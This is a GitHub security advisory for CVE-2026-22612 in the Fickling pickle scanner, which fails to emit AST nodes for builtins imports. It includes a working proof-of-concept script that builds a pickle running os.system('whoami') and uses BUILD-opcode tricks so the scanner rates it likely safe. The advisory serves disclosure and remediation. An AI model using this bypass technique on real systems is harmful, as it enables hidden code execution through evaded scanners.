GitHub Advisoryadvisory · PyPI
GHSA-h4rm-mm56-xf63 Fickling vulnerable to detection bypass due to "builtins" blindness
HIGH
Official page ↗
- Aliases
- CVE-2026-22612
- Ecosystem
- PyPI
- Packages
- fickling
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-502
- Reviewed
- 2026-01-09
Affected packages
• PyPI fickling: < 0.1.7 → fixed in 0.1.7
Description
Fickling's assessment
Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).
Original report
Summary
Fickling works by
Pickle bytecode --> AST --> Security analysis
However while going from bytecode to AST, some import nodes are removed which blinds the security analysis
fickling/fickling/fickle.py
```python
def run(self, interpreter: Interpreter):
module, attr = self.module, self.attr
if module in ("__builtin__", "__builtins__", "builtins"):
# no need to emit an import for builtins!
pass
else:
alias = ast.alias(attr)
interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
interpreter.stack.append(ast.Name(attr, ast.Load()))
def encode(self) -> bytes:
return f"c{self.module}\n{self.attr}\n".encode()
```
Here we see that no import nodes are emitted for builtins
However builtins is marked as an unsafe import
fickling/fickling/analysis.py
```python
UNSAFE_MODULES = {
"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
"builtins": "This module contains dangerous functions that can execute arbitrary code.",
```
But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.
This can allow for security bypasses like this
poc.py (script to create payload)
```python
import os
GLOBAL = b'c' # Import module.name
STRING = b'S' # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R' # Call function
PUT = b'p' # Memoize (Variable assignment)
GET = b'g' # Load from memo (Variable usage)
POP = b'0' # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's' # Add key/value to dict
BUILD = b'b' # Update object state (Liveness satisfy)
STOP = b'.' # Finish and return stack top
def generate_raw_payload():
payload = b""
payload += GLOBAL + b"builtins\n__import__\n"
payload += STRING + b"'os'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # _var0 = os module
payload += POP
payload += GLOBAL + b"builtins\ngetattr\n"
payload += GET + b"0\n" # os module
payload += STRING + b"'system'\n"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # _var1 = os.system
payload += POP
payload += GET + b"1\n" # os.system
payload += STRING + b"'whoami'\n" # COMMAND
payload += TUPLE1 + REDUCE
payload += PUT + b"2\n"
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"3\n"
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"2\n"
payload += SETITEM
payload += BUILD
payload += STOP
return payload
if __name__ == "__main__":
data = generate_raw_payload()
with open("raw_bypass.pkl", "wb") as f:
f.write(data)
print("Generated 'raw_bypass.pkl'")
```
This creates a pickle file which imports the OS module using __import__ which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.
However now fickling sees the pickle payload as
```python
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
```
As you can see there is no mention of builtins anywhere so it isnt flagged
Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED"
We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state.
By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.
The end result is that the malicious pickle gets classified as LIKELY_SAFE
Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like ```__import__``` while not emitting for stuff like ```dict()```
Related
Alias · CVE (1)
- CVE-2026-22612 Fickling is a Python pickling decompiler and static analyzer. vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-22612 advisory
- https://github.com/trailofbits/fickling/pull/195 web
- https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf web
- https://github.com/trailofbits/fickling package
- https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L349 web
- https://github.com/trailofbits/fickling/releases/tag/v0.1.7 web